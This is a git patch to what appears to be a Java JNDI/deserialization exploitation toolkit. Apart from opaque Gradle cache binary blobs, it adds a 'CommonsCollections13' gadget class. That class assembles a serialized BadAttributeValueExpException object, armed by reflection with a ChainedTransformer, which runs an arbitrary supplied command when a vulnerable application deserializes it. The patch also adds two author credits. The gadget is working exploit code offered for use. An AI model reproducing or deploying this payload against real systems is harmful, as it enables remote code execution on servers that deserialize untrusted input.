From e7b282c231af643e195557f2d8c95b3f96cdfdbf Mon Sep 17 00:00:00 2001 From: qi4L Date: Sat, 27 Jul 2024 15:56:38 +0800 Subject: [PATCH] Increase CC13 --- .gradle/8.7/checksums/checksums.lock | Bin 17 -> 17 bytes .../8.7/executionHistory/executionHistory.bin | Bin 1295889 -> 1548085 bytes .../executionHistory/executionHistory.lock | Bin 17 -> 17 bytes .gradle/8.7/fileHashes/fileHashes.bin | Bin 165333 -> 165433 bytes .gradle/8.7/fileHashes/fileHashes.lock | Bin 17 -> 17 bytes .../8.7/fileHashes/resourceHashesCache.bin | Bin 92348 -> 104861 bytes .../buildOutputCleanup.lock | Bin 17 -> 17 bytes .gradle/file-system.probe | Bin 8 -> 8 bytes .../jndi/gadgets/CommonsCollections13.java | 42 ++++++++++++++++++ .../qi4l/jndi/gadgets/annotation/Authors.java | 4 ++ 10 files changed, 46 insertions(+) create mode 100644 src/main/java/com/qi4l/jndi/gadgets/CommonsCollections13.java diff --git a/.gradle/8.7/checksums/checksums.lock b/.gradle/8.7/checksums/checksums.lock index 0f3b7d4185708a28b4c6f8d38df5a982644166d5..37b4f020dbf88198c6f2fec1cbb2f542f6c58db9 100644 GIT binary patch literal 17 VcmZRU*k4$1@M75u1~6c{2LL#L1&jay literal 17 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 Sq!QOcVNT8%Tnsji?*9epoBf#p delta 4626 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 literal 17 UcmZQ>dGjUQrSpIr0|bNu06TdE=Kufz diff --git a/.gradle/8.7/fileHashes/fileHashes.bin b/.gradle/8.7/fileHashes/fileHashes.bin index 6489e71f33bc5db20198b593b77d0085d3137d90..92409fa346efa378843b8a458da381c9cc828a8d 100644 GIT binary patch delta 3704 zcmY+G3s6+&7011otbl+#7L8oOAhC1=14xu0A|fI$0eL8hK#H)t0)iSs)Sx145L2s0 zU`zf(5+%qm9czfCmaYb9hNfz)I>;z7gzK=kDeVhmwh-TA*AzV0~zo+&twV`wkyF$vXRxRIQVS ztVdcU7sbW&yy=1Qy}H>HyW7^<(Ib_+NlhI-@7h3wPCeef{q$Vxo|j}f=%w+%f(RU# zCkLvOhF+#fj59^ScfK6xD7;zJrhM2E+^EOf^JTrNDa9V)S7|f4nBKvCrmgS}A@6Ra zF@1nJBa(uHA+ozFt3xL{{(`$qu^0-K70i2sLNbx~24!hLB~t>9F)hdN3!5MX0ih&| zLrf^O{x53X_9prxBt05JsrNHDA_CMVzE%rr^lvyVAUcIeraqK0eG6xQ(R5$qsZ45jth!L>y!Cn%B< zMj31lr5yDd(l8>wGD1h@43N|8&$%JyILbNdz;|kMy*hi6~1mR4j*ubzcF2wt&ThJtlSAu=?>%oKy;g4C?BT2{$(i>2fD`VZqM zX)|7qqw?bHs!?Ewqol3a&h|F6GabcsrqAFSPpWoAGkuQDOn=3nn2uwR$qI)AQk*~p z(-+vp)QuKFYLk2%=^QN5E`B)08YiQR$xglN)Dz2SuO5aPIU$Y788u9<=oBQ98}+;cC6uib zTTo8X#$=ogj}(&oBavwiDwzUsj42SqOmm@6B}Fh|1gXgvQF8wnlo`ai+K@`gr{M^P zdSHm@6*#4l+y{|F1&t^pGUTF_y^Ap*NF7TaCD)Z{*Z0+Qy1oMlOV{!kE@CuGOtChd zF6KELWXE~*G4(@QNx_#fk7*DlrXhgHxCCdJqVSBp7Z9+Dv==P>YZX+iqB?!3XZuBb zMP!V|BSGp!mQm9-ndlYwB9>;*L}IZfgH|6;=Vn`mmd%)e9(E*RlxYQgGAUaMkKmbh zcW=zp{v?d4WVM@TsV~*zQ(;v%L>jC@rP6AAPgL*;JXdSBf*sNy;tWh%l|rgFM1hOb=`-sxA4M!B7+?tDD)pWo7RL*WUnxWhj>P+KHt ziM;DaFigsl)zBAfIZ8^cF~xGWB-{m6XkD)v1q}!iD=6TnrJQ3m<*^9q^9M2-G09%KSz&?)zo$& z?s8-?Jj|pnLE;OlWGclmrVZ9%v;06Sor-}PlB|U7E}{&CF=e8JX*CYMpgyKGkZMVh ztsYhil51%=IWX1ANy~o-(@d{9^Tg!_Mz9*KYQgj-MWK$Kc(#-G#XaE2J delta 3585 zcmYk9dsJ0r8phq5PKc;UhbcLn!>yc=Opt}h%>x4B4G1BwVln6tC?Ud_ip0R-$S5iS z?wBW6O9>ptv{-~nCqgu*@G_3UnIgvv8IxpAOO(`^aU5;Fz26sB{PjEU<#{jP{`T5* z?V2>Ob5i9|X@f?u0GYAa%Rx-q=v1 zv)FWVrKiHAyEfxGX-IGTMU~{_F8hskcza2QMUX$ej;h2aiUIA+Y1{U!@<0(Bv`C;^Rnl+2a& zYECw4gkPms(9M*Kn@sue3?lDlBr#br>wC$7y+N|8nzjv{!l4#uq5{4zAYh}chdhre zEWqVp*?_=#6d#Ycc_dkba;9jsGsR%&=VZX_U`mTZY%rBMLS-EP0lQh!V|Or>If{cK zK<%hgEvV6lm=Z#C6p>6_C}ui_C!Q07^n_4_9t;SFI>;%i;ME9wnyBCtN)^r^G?di- zf&!+$!t(_&oGp|z`q9S@JESlQzJkDU$`zzm7^Di)_psa*6%L0{g{wHrp+k7UbPcn^ zNoW|^;j&?R%N5rm_Y9L#^38>zptF{1;vuUSlHZ|0c)d0~d@0fx5jwK)JKej2yG{J_ao9M_5yf8$heHI#O;oa17!bt2oRJVgYR;%&nu3mT zx|txh{ZIruf7@!BMvYH|OS4#_etkiTc#=$6Y~HWEVp@b%-SA3u zi8Ph6mA)MY=oV2IIWR5K?8Zza5}9&fVKU+flL^C2tMK$V&U^QU%Vp7UQ8QWh$ z8`BzGWm*fDC6rZw7(r^Mukv2%V95~gs`@3=>N*_Y&~>=TR08LvlwJZe(*_hVy@qB% zs^n&p)Hy5CRy{_RlHwNVmQl8XU_ol+n-n?m8k+TDds~-LXrs2B&Sf;yA8?)%fuET6 zARvy!_F*+s3mTaY;55@A+-G_pv*NW3;~l)jbQg6*rWH8J)Q&q$9k4tQ*E2GK+Bl5# z1Sw4~sK7m4 z(=#?Afynd|Du_H}bO;ji9y*eDvd~wndSY zi++XD46T%hBi>`0gh8e!mC;56d^5GtJzNo$Nrj&xEw^+e`H2bM$fUwXGV4A-!*X#s zKM`h8!^4CNB2OhxIIW<;Mi5Tq;fq41IcQ=Ef}JS@4q22Njvyv8@|Ys9hbbE8n8Zt; zX)*j)QtndZFvUY*T5juIDW}M4TRULNrof#@93z`0TYluIuK6n(OHQV-_T|x77tonU zS&MO<=_1_n$rg>ceDO^&^T&buqU_^cTc-c<@&T{k+vuCZ^Qb22d^{h`&x=jHl`qGN zM!ZKbMCm?}(67;ie4=f!YvdJ@a2wZS|60u`Xh4u?&R9atnc}riI-5^{oae00l#JSq z)JY0XFlAtrDGSeRBJaycWh%fnrb2Wvt;Y{c8(`W@8Jm#ER0<1I8ICah4#P|pc)FA_ zs<4zuJjG>fv!acu8dsUN!DS0&Y)1@J4PIla!vR6+f$XN4Czm2>L~QTw7CI0GMe607 zQAUre0&^Luy@?_wpqXh8zF^u5-Rq?L4(U#x3QLyIO@5tpTd_t2s7rkpZ!;aj`7u%& zb{XJSPDR@gP)@P!Sj}`8jZ7cnG}A}6`{nX&^;A7h;bsM;oPlR0(OD!horhJBI`!w& zol~unlch(0B{kQN>l|r^n}xE!MBF%)GYz19jBG;|F8whEtdw#Lj$4V2Bb4a`3dU(K z(+%WqhW-qzp)?rWN!ew_1*Wc6d~G@LurRk3z2b_62YM`y=hiKlCT1Be*Xt=Rq}!W diff --git a/.gradle/8.7/fileHashes/fileHashes.lock b/.gradle/8.7/fileHashes/fileHashes.lock index e28c442b5ad5c9411887c0ca092b57c24b98ff95..3a82373d0eb1adfafecc1dd4ab1cdd68857544c8 100644 GIT binary patch literal 17 VcmZR+d$zvH^H97W0~m;?0023?1eX8+ literal 17 VcmZR+d$zvH^H97W0~iQ>0026L1z`XH diff --git a/.gradle/8.7/fileHashes/resourceHashesCache.bin b/.gradle/8.7/fileHashes/resourceHashesCache.bin index 6b8ed927eca0e24fa763e71ee24fd317bceba8b7..601df65f6a72c5c202bea2a7c54a7d2e5d2be0e8 100644 GIT binary patch delta 474 zcmdmUk#+87whbl{j0~GiB`)&uKiL;A_~?!^0|+o?rfvSKrohSb9|{;4Bm_4*8ti4^ zKVQ1$$f6~d5M>$nHh(oS65ed@q2pr6yqD*2y;4&_3q(%Y6-+Zo==_XZ(;m0a8Y0fn z%@2{!?3morqs$n&QSpcPMuP+5oaGD*20TE!6*f2S`6-UZusz!6M+Y=9Y>tUpyOBtIPH(J;s-e z{CnBMT8->XprT5f7v6lpyxq!#(MXU?La*~pj8sICzsTf;^`_hH zyC%5|SG6QdvG}9D{?$L6B9B8bwM{%)wM%6JldR*GyllD6;uk?GU_k?nDua{Q O+x8W_6y!5SGPbSBT~QD$`9sQ5#CqrnYv&T<9@ z10JA>a+@3X{1lix>FoZ^ndg)^nWP?0f2PZryZO}h^+AmC+pDw~Ianq?ynb_gu|6XQ e{ + @Override + public Object getObject(String command) throws Exception { + final Transformer transformerChain = new ChainedTransformer( + new Transformer[]{ new ConstantTransformer(1) }); + final Transformer[] transformers = TransformerUtil.makeTransformer(command); + final Map innerMap = new HashMap(); + final Map defaultedmap = DefaultedMap.decorate(innerMap, transformerChain); + + TiedMapEntry entry = new TiedMapEntry(defaultedmap, "foo"); + + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + Field valfield = val.getClass().getDeclaredField("val"); + valfield.setAccessible(true); + valfield.set(val, entry); + + // arm with actual transformer chain + Reflections.setFieldValue(transformerChain, "iTransformers", transformers); + + return val; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/annotation/Authors.java b/src/main/java/com/qi4l/jndi/gadgets/annotation/Authors.java index 2c51bb9..f8294d0 100644 --- a/src/main/java/com/qi4l/jndi/gadgets/annotation/Authors.java +++ b/src/main/java/com/qi4l/jndi/gadgets/annotation/Authors.java @@ -46,6 +46,10 @@ public @interface Authors { String QI4L = "QI4L"; String PEIQIF4CK = "peiqiF4ck"; + String Jayl1n = "Jayl1n"; + + String N1ght = "N1ght"; + String KILLER = "killer"; String[] value() default {};